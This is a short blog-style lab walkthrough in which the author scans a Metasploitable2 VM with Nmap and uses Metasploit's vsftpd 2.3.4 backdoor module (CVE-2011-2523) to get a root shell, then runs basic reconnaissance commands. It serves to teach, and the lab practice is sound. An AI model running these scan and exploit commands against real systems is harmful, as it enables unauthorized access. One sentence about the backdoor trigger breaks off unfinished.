As an aspiring cybersecurity analyst, I believe hands-on practice is essential. In this project, I simulated a real-world vulnerability scan and exploitation using Nmap and Metasploit. The target was a vulnerable FTP service—vsftpd 2.3.4—running on Metasploitable2.

This experience helped me understand how attackers exploit outdated services and how defenders can better protect systems.

🛠️ Tools Used

Kali Linux (Attacker VM)
Metasploitable2 (Target VM)
Nmap
Metasploit Framework

🔍 Step 1: Scanning the Target with Nmap

I began with a basic version scan on the Metasploitable2 machine:

nmap -sV 192.168.1.104

This revealed FTP (vsftpd 2.3.4) running on port 21, which immediately raised red flags due to known vulnerabilities.

📚 Step 2: Researching the Vulnerability

A quick CVE lookup confirmed it—vsftpd 2.3.4 contains a backdoor that triggers if the username includes:

🧠 CVE-2011-2523: A malicious version of vsftpd 2.3.4 includes a backdoor that opens a shell on port 6200.

🎯 Step 3: Exploiting via Metasploit

I launched Metasploit and used the built-in module:

msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 192.168.1.104
run

✅ Result: Shell access was granted—instantly. Root privileges. Full system compromise.

🕵️ Step 4: Post-Exploitation

With access secured, I confirmed my privileges and explored the system:

whoami
hostname
uname -a
id

I could enumerate users, system info, and more—all due to an outdated service.

🔐 Key Takeaways

Outdated software can expose systems to serious risk
Nmap + Metasploit is a powerful combo for attackers—and a reminder for defenders
Vulnerability management and patching are non-negotiable

🔗 Project Resources

All commands, notes, screenshots and VAPT files are available in my GitHub repo
🔗 View the full project on GitHub

💬 Final Thoughts

This project deepened my understanding of vulnerability assessment and exploitation. As I continue my journey toward becoming a security analyst, I plan to explore more attack paths—and how to defend against them.

If you're learning cybersecurity, hands-on practice like this is gold. Start small, think like an attacker, and build your skills from the ground up.

vsftpd 2.3.4: A Backdoor Exploit Walkthrough